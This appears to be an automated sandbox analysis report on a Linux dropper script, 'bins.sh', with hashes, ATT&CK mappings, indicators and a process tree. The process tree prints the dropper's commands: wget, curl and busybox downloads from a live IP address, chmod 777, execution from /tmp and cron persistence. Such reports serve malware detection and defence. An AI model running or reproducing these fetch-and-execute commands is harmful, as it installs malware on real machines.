d9ea827daf3c89e87e902422d55ef24029e288df76a9f4b401601c7b5b39992f

Analysis

max time kernel
150s
max time network
151s
platform
debian-9_armhf
resource
debian9-armhf-20240729-en
resource tags

arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
25-11-2024 18:41

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General

Target

bins.sh
Size

10KB
MD5

242c2d611eb5f6a69491c5473478724d
SHA1

43fc8b512a15760d8f534d472b1c397ffb32db53
SHA256

d9ea827daf3c89e87e902422d55ef24029e288df76a9f4b401601c7b5b39992f
SHA512

e292d25f39f1cf3ad6f46ee5d4f6ba74ca66ff6a23276bd28a23e5dc6048e7e41887196e2140dcedabf6571dc4e74d21abbded8594205ff505b231aee1ba44ab
SSDEEP

192:cphIsylBhwNZPm+Q/N3Xgz79uOkNJmXIsylBhiNZPm+c3XgfuOkNJD:cphIsUBhD/c75XIsUBh3

Score

7^/10

antivm defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 2 IoCs
Adversaries may modify file or directory permissions to evade defenses.
defense_evasion

Linux and Mac File and Directory Permissions Modification
T1222.002

Processes:

chmodchmod

pid process

684 chmod
732 chmod

pid	process
684	chmod
732	chmod

Executes dropped EXE 2 IoCs

Processes:

dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJcNMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0

ioc	pid	process
/tmp/dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc	685	dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
/tmp/NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0	733	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0

Renames itself 1 IoCs

Processes:

NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0

pid process

735 NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
execution persistence privilege_escalatio

Cron
T1053.003

Processes:

crontab

description ioc process

File opened for modification /var/spool/cron/crontabs/tmp.JZTU9e crontab
Enumerates running processes
Discovers information about currently running processes on the system
Checks CPU configuration 1 TTPs 2 IoCs
Checks CPU information which indicate if the system is a virtual machine.
antivm

System Checks
T1497.001

Processes:

curlcurl

description ioc process

File opened for reading /proc/cpuinfo curl
File opened for reading /proc/cpuinfo curl

pid	process
735	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0

description	ioc	process
File opened for modification	/var/spool/cron/crontabs/tmp.JZTU9e	crontab

description	ioc	process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0curl

description	ioc	process
File opened for reading	/proc/6/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/147/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/269/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/796/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/822/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/842/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/870/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/219/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/816/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/818/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/834/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/838/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/850/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/858/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/3/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/21/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/586/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/873/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/1/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/712/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/716/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/791/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/798/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/804/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/892/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/11/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/15/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/786/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/836/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/848/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/857/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/788/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/806/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/810/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/843/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/884/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/321/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/826/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/877/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/41/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/584/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/758/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/792/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/814/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/820/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/846/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/740/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/760/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/790/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/805/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/840/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/853/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/881/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/17/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/23/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/98/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/581/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/644/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/756/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/767/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/896/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/27/cmdline	NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgetcurlbusyboxwgetcurlbusybox

description	ioc	process
File opened for modification	/tmp/dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc	wget
File opened for modification	/tmp/dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc	curl
File opened for modification	/tmp/dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc	busybox
File opened for modification	/tmp/NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0	wget
File opened for modification	/tmp/NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0	curl
File opened for modification	/tmp/NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:645
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:647
- /usr/bin/wget
  wget http://216.126.231.240/bins/dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
  2⤵
  - Writes file to tmp directory
  PID:649
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:674
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
  2⤵
  - Writes file to tmp directory
  PID:677
- /bin/chmod
  chmod 777 dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
  2⤵
  - File and Directory Permissions Modification
  PID:684
- /tmp/dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
  ./dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
  2⤵
  - Executes dropped EXE
  PID:685
- /bin/rm
  rm dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc
  2⤵
  PID:688
- /usr/bin/wget
  wget http://216.126.231.240/bins/NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
  2⤵
  - Writes file to tmp directory
  PID:689
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:703
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
  2⤵
  - Writes file to tmp directory
  PID:727
- /bin/chmod
  chmod 777 NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
  2⤵
  - File and Directory Permissions Modification
  PID:732
- /tmp/NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
  ./NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:733
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:736
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:738
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:741
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:742
- /bin/rm
  rm NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0
  2⤵
  PID:756
- /usr/bin/wget
  wget http://216.126.231.240/bins/HQa6S3Gkwqytng7bIqrj7lr0h8eef3ZRf7
  2⤵
  PID:760

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/NMa46IOFT4XSfGAMgqGqhn8pO8IP3qndz0

Filesize
119KB

MD5
1b166b95f9cb4b079ef1b9ec8363ddf3

SHA1
0d8eb08add467b3b5474f9b25909297fe7c2839c

SHA256
94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

SHA512
983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

Download Submit
/tmp/dLYwC51BM9znahq1iuFPZTyjpqBtiZBDJc

Filesize
112KB

MD5
05d7857dcead18bbd86d2935f591873c

SHA1
34d18f41ef35f93d5364ce3e24d74730a4e91985

SHA256
2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

SHA512
d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

Download Submit
/var/spool/cron/crontabs/tmp.JZTU9e

Filesize
210B

MD5
fd0c903fa2e6c2abda076a80ede36b17

SHA1
960aebac96f7038893cecdd10f90c9be96645309

SHA256
088d6637b3181a130cd08772ff3d122b307c446a571ea0b79bf03e56a3cecb5e

SHA512
d2d030f74b5aac78ad0565b24a7e157c80e3f7884c0fe2e1daa0e3e0f22a668ff2dd5379e3dd5699d119ec0b53e54d25214437e7c7a26abbd19285382205d1c0

Download Submit